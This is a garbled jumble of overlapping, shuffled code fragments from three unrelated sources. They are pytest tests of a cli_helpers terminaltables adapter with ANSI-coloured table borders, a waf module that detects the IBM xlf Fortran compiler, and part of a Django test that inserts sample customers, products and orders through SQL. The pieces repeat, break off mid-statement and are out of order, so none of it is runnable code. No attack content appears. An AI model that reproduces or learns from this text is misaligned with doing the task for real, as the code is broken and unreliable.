\\x1b[31;01m|\\x1b[39;00m Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m''' + ''' b \\x1b[31;01m|\\x1b[39;00m '''", "styles = { Token.Output.TableSeparator: '#ansired', } headers = ['h1', 'h2']", "import terminaltables_adapter if HAS_PYGMENTS: from pygments.style import Style from pygments.token", "| 456 | +---------+--------+''') @pytest.mark.skipif(not HAS_PYGMENTS, reason='requires the Pygments library')", "the Pygments library') def test_style_output_table(): \"\"\"Test that *style_output_table()* styles the", "'#ansired', } headers = ['h1', 'h2'] data = [['观音', '2'],", "dedent('''\\ +---------+--------+ | letters | number | +---------+--------+ | abc", "from __future__ import unicode_literals from textwrap import dedent import pytest", "= terminaltables_adapter.adapter( iter(data), headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ +---------+--------+", "\\x1b[31;01m|\\x1b[39;00m''' + ''' b \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + (", "== dedent('''\\ +---------+--------+ | letters | number | +---------+--------+ |", "adapter.\"\"\" from __future__ import unicode_literals from textwrap import dedent import", "| | d | 456 | +---------+--------+''') @pytest.mark.skipif(not HAS_PYGMENTS, reason='requires", "class CliStyle(Style): default_style = \"\" styles = { Token.Output.TableSeparator: '#ansired',", "\\x1b[31;01m+\\x1b[39;00m''' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m'", "abc | 1 | | d | 456 | +---------+--------+''')", "style_output_table = terminaltables_adapter.style_output_table('ascii') style_output_table(data, headers, style=CliStyle) output = terminaltables_adapter.adapter(iter(data), headers,", "{ Token.Output.TableSeparator: '#ansired', } headers = ['h1', 'h2'] data =", "import HAS_PYGMENTS from cli_helpers.tabular_output import terminaltables_adapter if HAS_PYGMENTS: from pygments.style", "import Token def test_terminal_tables_adapter(): \"\"\"Test the terminaltables output adapter.\"\"\" data", "style=CliStyle) output = terminaltables_adapter.adapter(iter(data), headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\", "* 10) + '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '\\x1b[31;01m+\\x1b[39;00m')", "terminaltables_adapter.adapter(iter(data), headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ \\x1b[31;01m+\\x1b[39;00m''' + (", "import pytest from cli_helpers.compat import HAS_PYGMENTS from cli_helpers.tabular_output import terminaltables_adapter", "\\x1b[31;01m|\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m''' + ''' b \\x1b[31;01m|\\x1b[39;00m ''' +", "adapter.\"\"\" data = [['abc', 1], ['d', 456]] headers = ['letters',", "terminaltables output adapter.\"\"\" data = [['abc', 1], ['d', 456]] headers", "+---------+--------+ | abc | 1 | | d | 456", "HAS_PYGMENTS from cli_helpers.tabular_output import terminaltables_adapter if HAS_PYGMENTS: from pygments.style import", "output adapter.\"\"\" data = [['abc', 1], ['d', 456]] headers =", "letters | number | +---------+--------+ | abc | 1 |", "Token.Output.TableSeparator: '#ansired', } headers = ['h1', 'h2'] data = [['观音',", "+ ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' *", "* 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m 观音 \\x1b[31;01m|\\x1b[39;00m''' + ''' 2", "output table.\"\"\" class CliStyle(Style): default_style = \"\" styles = {", "['h1', 'h2'] data = [['观音', '2'], ['Ποσειδῶν', 'b']] style_output_table =", "+ ''' b \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m'", "4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m 观音 \\x1b[31;01m|\\x1b[39;00m''' + ''' 2 \\x1b[31;01m|\\x1b[39;00m", "h2 \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10)", "\"\\n\".join(output) == dedent('''\\ \\x1b[31;01m+\\x1b[39;00m''' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) +", "dedent('''\\ \\x1b[31;01m+\\x1b[39;00m''' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m' +", "['Ποσειδῶν', 'b']] style_output_table = terminaltables_adapter.style_output_table('ascii') style_output_table(data, headers, style=CliStyle) output =", "@pytest.mark.skipif(not HAS_PYGMENTS, reason='requires the Pygments library') def test_style_output_table(): \"\"\"Test that", "# -*- coding: utf-8 -*- \"\"\"Test the terminaltables output adapter.\"\"\"", "styles the output table.\"\"\" class CliStyle(Style): default_style = \"\" styles", "= terminaltables_adapter.adapter(iter(data), headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ \\x1b[31;01m+\\x1b[39;00m''' +", "headers = ['letters', 'number'] output = terminaltables_adapter.adapter( iter(data), headers, table_format='ascii')", "output adapter.\"\"\" from __future__ import unicode_literals from textwrap import dedent", "'b']] style_output_table = terminaltables_adapter.style_output_table('ascii') style_output_table(data, headers, style=CliStyle) output = terminaltables_adapter.adapter(iter(data),", "\\x1b[31;01m|\\x1b[39;00m Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m''' + ''' b \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m'", "assert \"\\n\".join(output) == dedent('''\\ \\x1b[31;01m+\\x1b[39;00m''' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10)", "| d | 456 | +---------+--------+''') @pytest.mark.skipif(not HAS_PYGMENTS, reason='requires the", "'2'], ['Ποσειδῶν', 'b']] style_output_table = terminaltables_adapter.style_output_table('ascii') style_output_table(data, headers, style=CliStyle) output", "| 1 | | d | 456 | +---------+--------+''') @pytest.mark.skipif(not", "''' b \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m' *", "\\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) +", "terminaltables_adapter.style_output_table('ascii') style_output_table(data, headers, style=CliStyle) output = terminaltables_adapter.adapter(iter(data), headers, table_format='ascii') assert", "10) + '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m", "( ('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4))", "('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m' + ('\\x1b[31;01m-\\x1b[39;00m' * 4)) +", "Ποσειδῶν \\x1b[31;01m|\\x1b[39;00m''' + ''' b \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' +", "terminaltables output adapter.\"\"\" from __future__ import unicode_literals from textwrap import", "textwrap import dedent import pytest from cli_helpers.compat import HAS_PYGMENTS from", "headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ \\x1b[31;01m+\\x1b[39;00m''' + ( ('\\x1b[31;01m-\\x1b[39;00m'", "*style_output_table()* styles the output table.\"\"\" class CliStyle(Style): default_style = \"\"", "['letters', 'number'] output = terminaltables_adapter.adapter( iter(data), headers, table_format='ascii') assert \"\\n\".join(output)", "headers = ['h1', 'h2'] data = [['观音', '2'], ['Ποσειδῶν', 'b']]", "[['abc', 1], ['d', 456]] headers = ['letters', 'number'] output =", "4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m h1 \\x1b[31;01m|\\x1b[39;00m''' + ''' h2 \\x1b[31;01m|\\x1b[39;00m", "''' h2 \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m' *", "= ['letters', 'number'] output = terminaltables_adapter.adapter( iter(data), headers, table_format='ascii') assert", "output = terminaltables_adapter.adapter( iter(data), headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\", "[['观音', '2'], ['Ποσειδῶν', 'b']] style_output_table = terminaltables_adapter.style_output_table('ascii') style_output_table(data, headers, style=CliStyle)", "-*- \"\"\"Test the terminaltables output adapter.\"\"\" from __future__ import unicode_literals", "dedent import pytest from cli_helpers.compat import HAS_PYGMENTS from cli_helpers.tabular_output import", "the output table.\"\"\" class CliStyle(Style): default_style = \"\" styles =", "} headers = ['h1', 'h2'] data = [['观音', '2'], ['Ποσειδῶν',", "'''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m h1 \\x1b[31;01m|\\x1b[39;00m''' + ''' h2 \\x1b[31;01m|\\x1b[39;00m ''' +", "456 | +---------+--------+''') @pytest.mark.skipif(not HAS_PYGMENTS, reason='requires the Pygments library') def", "+ '\\x1b[31;01m+\\x1b[39;00m' + ( ('\\x1b[31;01m-\\x1b[39;00m' * 10) + '\\x1b[31;01m+\\x1b[39;00m' +", "'h2'] data = [['观音', '2'], ['Ποσειδῶν', 'b']] style_output_table = terminaltables_adapter.style_output_table('ascii')", "'''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m 观音 \\x1b[31;01m|\\x1b[39;00m''' + ''' 2 \\x1b[31;01m|\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m Ποσειδῶν", "+---------+--------+''') @pytest.mark.skipif(not HAS_PYGMENTS, reason='requires the Pygments library') def test_style_output_table(): \"\"\"Test", "data = [['观音', '2'], ['Ποσειδῶν', 'b']] style_output_table = terminaltables_adapter.style_output_table('ascii') style_output_table(data,", "headers, table_format='ascii') assert \"\\n\".join(output) == dedent('''\\ +---------+--------+ | letters |", "('\\x1b[31;01m-\\x1b[39;00m' * 4)) + '''\\x1b[31;01m+\\x1b[39;00m \\x1b[31;01m|\\x1b[39;00m 观音 \\x1b[31;01m|\\x1b[39;00m''' + '''", "h1 \\x1b[31;01m|\\x1b[39;00m''' + ''' h2 \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m' +", "pygments.style import Style from pygments.token import Token def test_terminal_tables_adapter(): \"\"\"Test", "\\x1b[31;01m|\\x1b[39;00m h1 \\x1b[31;01m|\\x1b[39;00m''' + ''' h2 \\x1b[31;01m|\\x1b[39;00m ''' + '\\x1b[31;01m+\\x1b[39;00m'", "test_style_output_table(): \"\"\"Test that *style_output_table()* styles the output table.\"\"\" class CliStyle(Style):", "CliStyle(Style): default_style = \"\" styles = { Token.Output.TableSeparator: '#ansired', }", "| +---------+--------+ | abc | 1 | | d |", "from cli_helpers.compat import HAS_PYGMENTS from cli_helpers.tabular_output import terminaltables_adapter if HAS_PYGMENTS:" ]
[ "xlf_modifier_platform(conf): dest_os = conf.env['DEST_OS'] or Utils.unversioned_sys_platform() xlf_modifier_func = getattr(conf, 'xlf_modifier_'", "from waflib.Tools.compiler_fc import fc_compiler fc_compiler['aix'].insert(0, 'fc_xlf') @conf def find_xlf(conf): \"\"\"Find", "# harald at klimachs.de import re from waflib import Utils,Errors", "fc): \"\"\"Get the compiler version\"\"\" cmd = fc + ['-qversion']", "V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re = re.compile(v, re.I).search match = version_re(out or err)", "v['FCFLAGS_DEBUG'] = ['-qhalt=w'] v['LINKFLAGS_fcshlib'] = ['-Wl,-shared'] @conf def xlf_modifier_platform(conf): dest_os", "from waflib.Configure import conf from waflib.Tools.compiler_fc import fc_compiler fc_compiler['aix'].insert(0, 'fc_xlf')", "fc = conf.find_program(['xlf2003_r', 'xlf2003', 'xlf95_r', 'xlf95', 'xlf90_r', 'xlf90', 'xlf_r', 'xlf'],", "k = match.groupdict() conf.env['FC_VERSION'] = (k['major'], k['minor']) break else: conf.fatal('Could", "conf.find_program(['xlf2003_r', 'xlf2003', 'xlf95_r', 'xlf95', 'xlf90_r', 'xlf90', 'xlf_r', 'xlf'], var='FC') fc", "program (will look in the environment variable 'FC')\"\"\" fc =", "'xlf95_r', 'xlf95', 'xlf90_r', 'xlf90', 'xlf_r', 'xlf'], var='FC') fc = conf.cmd_to_list(fc)", "match: k = match.groupdict() conf.env['FC_VERSION'] = (k['major'], k['minor']) break else:", "try: out, err = conf.cmd_and_log(cmd, output=0) except Errors.WafError: conf.fatal('Could not", "for v in (r\"IBM XL Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re = re.compile(v,", "python # encoding: utf-8 # harald at klimachs.de import re", "v = conf.env v['FCDEFINES_ST'] = '-WF,-D%s' v['FCFLAGS_fcshlib'] = ['-qpic=small'] v['FCFLAGS_DEBUG']", "waflib.Tools.compiler_fc import fc_compiler fc_compiler['aix'].insert(0, 'fc_xlf') @conf def find_xlf(conf): \"\"\"Find the", "conf.fatal('Could not find xlf %r' % cmd) for v in", "conf.cmd_and_log(cmd, output=0) except Errors.WafError: conf.fatal('Could not find xlf %r' %", "<gh_stars>1000+ #! /usr/bin/env python # encoding: utf-8 # harald at", "def get_xlf_version(conf, fc): \"\"\"Get the compiler version\"\"\" cmd = fc", "err) if match: k = match.groupdict() conf.env['FC_VERSION'] = (k['major'], k['minor'])", "import conf from waflib.Tools.compiler_fc import fc_compiler fc_compiler['aix'].insert(0, 'fc_xlf') @conf def", "match.groupdict() conf.env['FC_VERSION'] = (k['major'], k['minor']) break else: conf.fatal('Could not determine", "compiler version\"\"\" cmd = fc + ['-qversion'] try: out, err", "= conf.env v['FCDEFINES_ST'] = '-WF,-D%s' v['FCFLAGS_fcshlib'] = ['-qpic=small'] v['FCFLAGS_DEBUG'] =", "except Errors.WafError: conf.fatal('Could not find xlf %r' % cmd) for", "conf.env.FC_NAME='XLF' @conf def xlf_flags(conf): v = conf.env v['FCDEFINES_ST'] = '-WF,-D%s'", "def xlf_modifier_platform(conf): dest_os = conf.env['DEST_OS'] or Utils.unversioned_sys_platform() xlf_modifier_func = getattr(conf,", "cmd) for v in (r\"IBM XL Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re =", "xlf program (will look in the environment variable 'FC')\"\"\" fc", "in (r\"IBM XL Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re = re.compile(v, re.I).search match", "fc_compiler fc_compiler['aix'].insert(0, 'fc_xlf') @conf def find_xlf(conf): \"\"\"Find the xlf program", "= match.groupdict() conf.env['FC_VERSION'] = (k['major'], k['minor']) break else: conf.fatal('Could not", "import Utils,Errors from waflib.Tools import fc,fc_config,fc_scan from waflib.Configure import conf", "= conf.find_program(['xlf2003_r', 'xlf2003', 'xlf95_r', 'xlf95', 'xlf90_r', 'xlf90', 'xlf_r', 'xlf'], var='FC')", "fc = conf.cmd_to_list(fc) conf.get_xlf_version(fc) conf.env.FC_NAME='XLF' @conf def xlf_flags(conf): v =", "out, err = conf.cmd_and_log(cmd, output=0) except Errors.WafError: conf.fatal('Could not find", "err = conf.cmd_and_log(cmd, output=0) except Errors.WafError: conf.fatal('Could not find xlf", "not determine the XLF version.') def configure(conf): conf.find_xlf() conf.find_ar() conf.fc_flags()", "the compiler version\"\"\" cmd = fc + ['-qversion'] try: out,", "= re.compile(v, re.I).search match = version_re(out or err) if match:", "@conf def find_xlf(conf): \"\"\"Find the xlf program (will look in", "None) if xlf_modifier_func: xlf_modifier_func() @conf def get_xlf_version(conf, fc): \"\"\"Get the", "(r\"IBM XL Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re = re.compile(v, re.I).search match =", "Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re = re.compile(v, re.I).search match = version_re(out or", "determine the XLF version.') def configure(conf): conf.find_xlf() conf.find_ar() conf.fc_flags() conf.fc_add_flags()", "= conf.env['DEST_OS'] or Utils.unversioned_sys_platform() xlf_modifier_func = getattr(conf, 'xlf_modifier_' + dest_os,", "'xlf_r', 'xlf'], var='FC') fc = conf.cmd_to_list(fc) conf.get_xlf_version(fc) conf.env.FC_NAME='XLF' @conf def", "Utils.unversioned_sys_platform() xlf_modifier_func = getattr(conf, 'xlf_modifier_' + dest_os, None) if xlf_modifier_func:", "= (k['major'], k['minor']) break else: conf.fatal('Could not determine the XLF", "def xlf_flags(conf): v = conf.env v['FCDEFINES_ST'] = '-WF,-D%s' v['FCFLAGS_fcshlib'] =", "waflib import Utils,Errors from waflib.Tools import fc,fc_config,fc_scan from waflib.Configure import", "= version_re(out or err) if match: k = match.groupdict() conf.env['FC_VERSION']", "fc + ['-qversion'] try: out, err = conf.cmd_and_log(cmd, output=0) except", "re from waflib import Utils,Errors from waflib.Tools import fc,fc_config,fc_scan from", "+ ['-qversion'] try: out, err = conf.cmd_and_log(cmd, output=0) except Errors.WafError:", "or Utils.unversioned_sys_platform() xlf_modifier_func = getattr(conf, 'xlf_modifier_' + dest_os, None) if", "the environment variable 'FC')\"\"\" fc = conf.find_program(['xlf2003_r', 'xlf2003', 'xlf95_r', 'xlf95',", "re.I).search match = version_re(out or err) if match: k =", "Utils,Errors from waflib.Tools import fc,fc_config,fc_scan from waflib.Configure import conf from", "= '-WF,-D%s' v['FCFLAGS_fcshlib'] = ['-qpic=small'] v['FCFLAGS_DEBUG'] = ['-qhalt=w'] v['LINKFLAGS_fcshlib'] =", "re.compile(v, re.I).search match = version_re(out or err) if match: k", "= getattr(conf, 'xlf_modifier_' + dest_os, None) if xlf_modifier_func: xlf_modifier_func() @conf", "v in (r\"IBM XL Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re = re.compile(v, re.I).search", "not find xlf %r' % cmd) for v in (r\"IBM", "if xlf_modifier_func: xlf_modifier_func() @conf def get_xlf_version(conf, fc): \"\"\"Get the compiler", "klimachs.de import re from waflib import Utils,Errors from waflib.Tools import", "= ['-qhalt=w'] v['LINKFLAGS_fcshlib'] = ['-Wl,-shared'] @conf def xlf_modifier_platform(conf): dest_os =", "'-WF,-D%s' v['FCFLAGS_fcshlib'] = ['-qpic=small'] v['FCFLAGS_DEBUG'] = ['-qhalt=w'] v['LINKFLAGS_fcshlib'] = ['-Wl,-shared']", "import fc_compiler fc_compiler['aix'].insert(0, 'fc_xlf') @conf def find_xlf(conf): \"\"\"Find the xlf", "['-Wl,-shared'] @conf def xlf_modifier_platform(conf): dest_os = conf.env['DEST_OS'] or Utils.unversioned_sys_platform() xlf_modifier_func", "%r' % cmd) for v in (r\"IBM XL Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",):", "waflib.Tools import fc,fc_config,fc_scan from waflib.Configure import conf from waflib.Tools.compiler_fc import", "'xlf90', 'xlf_r', 'xlf'], var='FC') fc = conf.cmd_to_list(fc) conf.get_xlf_version(fc) conf.env.FC_NAME='XLF' @conf", "version_re(out or err) if match: k = match.groupdict() conf.env['FC_VERSION'] =", "find xlf %r' % cmd) for v in (r\"IBM XL", "['-qhalt=w'] v['LINKFLAGS_fcshlib'] = ['-Wl,-shared'] @conf def xlf_modifier_platform(conf): dest_os = conf.env['DEST_OS']", "'xlf_modifier_' + dest_os, None) if xlf_modifier_func: xlf_modifier_func() @conf def get_xlf_version(conf,", "XLF version.') def configure(conf): conf.find_xlf() conf.find_ar() conf.fc_flags() conf.fc_add_flags() conf.xlf_flags() conf.xlf_modifier_platform()", "else: conf.fatal('Could not determine the XLF version.') def configure(conf): conf.find_xlf()", "conf.cmd_to_list(fc) conf.get_xlf_version(fc) conf.env.FC_NAME='XLF' @conf def xlf_flags(conf): v = conf.env v['FCDEFINES_ST']", "@conf def xlf_modifier_platform(conf): dest_os = conf.env['DEST_OS'] or Utils.unversioned_sys_platform() xlf_modifier_func =", "= ['-Wl,-shared'] @conf def xlf_modifier_platform(conf): dest_os = conf.env['DEST_OS'] or Utils.unversioned_sys_platform()", "if match: k = match.groupdict() conf.env['FC_VERSION'] = (k['major'], k['minor']) break", "xlf_modifier_func: xlf_modifier_func() @conf def get_xlf_version(conf, fc): \"\"\"Get the compiler version\"\"\"", "conf.env['FC_VERSION'] = (k['major'], k['minor']) break else: conf.fatal('Could not determine the", "'xlf90_r', 'xlf90', 'xlf_r', 'xlf'], var='FC') fc = conf.cmd_to_list(fc) conf.get_xlf_version(fc) conf.env.FC_NAME='XLF'", "= conf.cmd_to_list(fc) conf.get_xlf_version(fc) conf.env.FC_NAME='XLF' @conf def xlf_flags(conf): v = conf.env", "'fc_xlf') @conf def find_xlf(conf): \"\"\"Find the xlf program (will look", "from waflib import Utils,Errors from waflib.Tools import fc,fc_config,fc_scan from waflib.Configure", "conf.fatal('Could not determine the XLF version.') def configure(conf): conf.find_xlf() conf.find_ar()", "['-qpic=small'] v['FCFLAGS_DEBUG'] = ['-qhalt=w'] v['LINKFLAGS_fcshlib'] = ['-Wl,-shared'] @conf def xlf_modifier_platform(conf):", "@conf def get_xlf_version(conf, fc): \"\"\"Get the compiler version\"\"\" cmd =", "# encoding: utf-8 # harald at klimachs.de import re from", "waflib.Configure import conf from waflib.Tools.compiler_fc import fc_compiler fc_compiler['aix'].insert(0, 'fc_xlf') @conf", "= fc + ['-qversion'] try: out, err = conf.cmd_and_log(cmd, output=0)", "find_xlf(conf): \"\"\"Find the xlf program (will look in the environment", "the xlf program (will look in the environment variable 'FC')\"\"\"", "xlf_flags(conf): v = conf.env v['FCDEFINES_ST'] = '-WF,-D%s' v['FCFLAGS_fcshlib'] = ['-qpic=small']", "+ dest_os, None) if xlf_modifier_func: xlf_modifier_func() @conf def get_xlf_version(conf, fc):", "version\"\"\" cmd = fc + ['-qversion'] try: out, err =", "match = version_re(out or err) if match: k = match.groupdict()", "utf-8 # harald at klimachs.de import re from waflib import", "break else: conf.fatal('Could not determine the XLF version.') def configure(conf):", "in the environment variable 'FC')\"\"\" fc = conf.find_program(['xlf2003_r', 'xlf2003', 'xlf95_r',", "import re from waflib import Utils,Errors from waflib.Tools import fc,fc_config,fc_scan", "variable 'FC')\"\"\" fc = conf.find_program(['xlf2003_r', 'xlf2003', 'xlf95_r', 'xlf95', 'xlf90_r', 'xlf90',", "v['LINKFLAGS_fcshlib'] = ['-Wl,-shared'] @conf def xlf_modifier_platform(conf): dest_os = conf.env['DEST_OS'] or", "or err) if match: k = match.groupdict() conf.env['FC_VERSION'] = (k['major'],", "fc,fc_config,fc_scan from waflib.Configure import conf from waflib.Tools.compiler_fc import fc_compiler fc_compiler['aix'].insert(0,", "def find_xlf(conf): \"\"\"Find the xlf program (will look in the", "'xlf95', 'xlf90_r', 'xlf90', 'xlf_r', 'xlf'], var='FC') fc = conf.cmd_to_list(fc) conf.get_xlf_version(fc)", "% cmd) for v in (r\"IBM XL Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re", "#! /usr/bin/env python # encoding: utf-8 # harald at klimachs.de", "cmd = fc + ['-qversion'] try: out, err = conf.cmd_and_log(cmd,", "(will look in the environment variable 'FC')\"\"\" fc = conf.find_program(['xlf2003_r',", "\"\"\"Get the compiler version\"\"\" cmd = fc + ['-qversion'] try:", "Errors.WafError: conf.fatal('Could not find xlf %r' % cmd) for v", "XL Fortran.* V(?P<major>\\d*)\\.(?P<minor>\\d*)\",): version_re = re.compile(v, re.I).search match = version_re(out", "getattr(conf, 'xlf_modifier_' + dest_os, None) if xlf_modifier_func: xlf_modifier_func() @conf def", "harald at klimachs.de import re from waflib import Utils,Errors from", "fc_compiler['aix'].insert(0, 'fc_xlf') @conf def find_xlf(conf): \"\"\"Find the xlf program (will", "dest_os = conf.env['DEST_OS'] or Utils.unversioned_sys_platform() xlf_modifier_func = getattr(conf, 'xlf_modifier_' +", "dest_os, None) if xlf_modifier_func: xlf_modifier_func() @conf def get_xlf_version(conf, fc): \"\"\"Get", "conf.get_xlf_version(fc) conf.env.FC_NAME='XLF' @conf def xlf_flags(conf): v = conf.env v['FCDEFINES_ST'] =", "look in the environment variable 'FC')\"\"\" fc = conf.find_program(['xlf2003_r', 'xlf2003',", "k['minor']) break else: conf.fatal('Could not determine the XLF version.') def", "v['FCFLAGS_fcshlib'] = ['-qpic=small'] v['FCFLAGS_DEBUG'] = ['-qhalt=w'] v['LINKFLAGS_fcshlib'] = ['-Wl,-shared'] @conf", "encoding: utf-8 # harald at klimachs.de import re from waflib", "environment variable 'FC')\"\"\" fc = conf.find_program(['xlf2003_r', 'xlf2003', 'xlf95_r', 'xlf95', 'xlf90_r',", "xlf_modifier_func() @conf def get_xlf_version(conf, fc): \"\"\"Get the compiler version\"\"\" cmd", "'FC')\"\"\" fc = conf.find_program(['xlf2003_r', 'xlf2003', 'xlf95_r', 'xlf95', 'xlf90_r', 'xlf90', 'xlf_r',", "version_re = re.compile(v, re.I).search match = version_re(out or err) if", "v['FCDEFINES_ST'] = '-WF,-D%s' v['FCFLAGS_fcshlib'] = ['-qpic=small'] v['FCFLAGS_DEBUG'] = ['-qhalt=w'] v['LINKFLAGS_fcshlib']", "'xlf'], var='FC') fc = conf.cmd_to_list(fc) conf.get_xlf_version(fc) conf.env.FC_NAME='XLF' @conf def xlf_flags(conf):", "conf from waflib.Tools.compiler_fc import fc_compiler fc_compiler['aix'].insert(0, 'fc_xlf') @conf def find_xlf(conf):", "from waflib.Tools import fc,fc_config,fc_scan from waflib.Configure import conf from waflib.Tools.compiler_fc", "conf.env['DEST_OS'] or Utils.unversioned_sys_platform() xlf_modifier_func = getattr(conf, 'xlf_modifier_' + dest_os, None)", "'xlf2003', 'xlf95_r', 'xlf95', 'xlf90_r', 'xlf90', 'xlf_r', 'xlf'], var='FC') fc =", "conf.env v['FCDEFINES_ST'] = '-WF,-D%s' v['FCFLAGS_fcshlib'] = ['-qpic=small'] v['FCFLAGS_DEBUG'] = ['-qhalt=w']", "= conf.cmd_and_log(cmd, output=0) except Errors.WafError: conf.fatal('Could not find xlf %r'", "import fc,fc_config,fc_scan from waflib.Configure import conf from waflib.Tools.compiler_fc import fc_compiler", "= ['-qpic=small'] v['FCFLAGS_DEBUG'] = ['-qhalt=w'] v['LINKFLAGS_fcshlib'] = ['-Wl,-shared'] @conf def", "xlf %r' % cmd) for v in (r\"IBM XL Fortran.*", "(k['major'], k['minor']) break else: conf.fatal('Could not determine the XLF version.')", "the XLF version.') def configure(conf): conf.find_xlf() conf.find_ar() conf.fc_flags() conf.fc_add_flags() conf.xlf_flags()", "@conf def xlf_flags(conf): v = conf.env v['FCDEFINES_ST'] = '-WF,-D%s' v['FCFLAGS_fcshlib']", "xlf_modifier_func = getattr(conf, 'xlf_modifier_' + dest_os, None) if xlf_modifier_func: xlf_modifier_func()", "\"\"\"Find the xlf program (will look in the environment variable", "['-qversion'] try: out, err = conf.cmd_and_log(cmd, output=0) except Errors.WafError: conf.fatal('Could", "output=0) except Errors.WafError: conf.fatal('Could not find xlf %r' % cmd)", "var='FC') fc = conf.cmd_to_list(fc) conf.get_xlf_version(fc) conf.env.FC_NAME='XLF' @conf def xlf_flags(conf): v", "get_xlf_version(conf, fc): \"\"\"Get the compiler version\"\"\" cmd = fc +", "/usr/bin/env python # encoding: utf-8 # harald at klimachs.de import", "at klimachs.de import re from waflib import Utils,Errors from waflib.Tools" ]
[ "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 1, 'BR03',", "VALUES('FNG01','Fun and Games','42 Galaxy Road','London', NULL,'N16 6PS', 'England');\") cursor.execute(\"INSERT INTO", "Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FNG01','Fun and", "9.49, '12 inch queen doll with royal garments and crown');\")", "\\ VALUES('RGAN01', 'DLL01', 'Raggedy Ann', 4.99, '18 inch Raggedy Ann", "cap and jacket');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc)", "after every test method. Customers.objects.all().delete() Vendors.objects.all().delete() Orders.objects.all().delete() OrderItems.objects.all().delete() Products.objects.all().delete() def", "'DLL01', 'Bird bean bag toy', 3.49, 'Bird bean bag toy,", "'12 inch king doll with royal garments and crown');\") cursor.execute(\"INSERT", "jacket');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR02',", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RGAN01', 'DLL01', 'Raggedy Ann', 4.99,", "1, 'BR01', 100, 5.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "cust_city, cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000005', 'The Toy Store',", "prod_id, quantity, item_price) \\ VALUES(20008, 3, 'BNBG01', 10, 3.49);\") cursor.execute(\"INSERT", "doll');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL01',", "\\ VALUES('BNBG03', 'DLL01', 'Rabbit bean bag toy', 3.49, 'Rabbit bean", "royal garments and crown');\") # Populate Orders table cursor.execute(\"INSERT INTO", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 2,", "prod_name, prod_price, prod_desc) \\ VALUES('RYL02', 'FNG01', 'Queen doll', 9.49, '12", "100, 10.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "5th Avenue','New 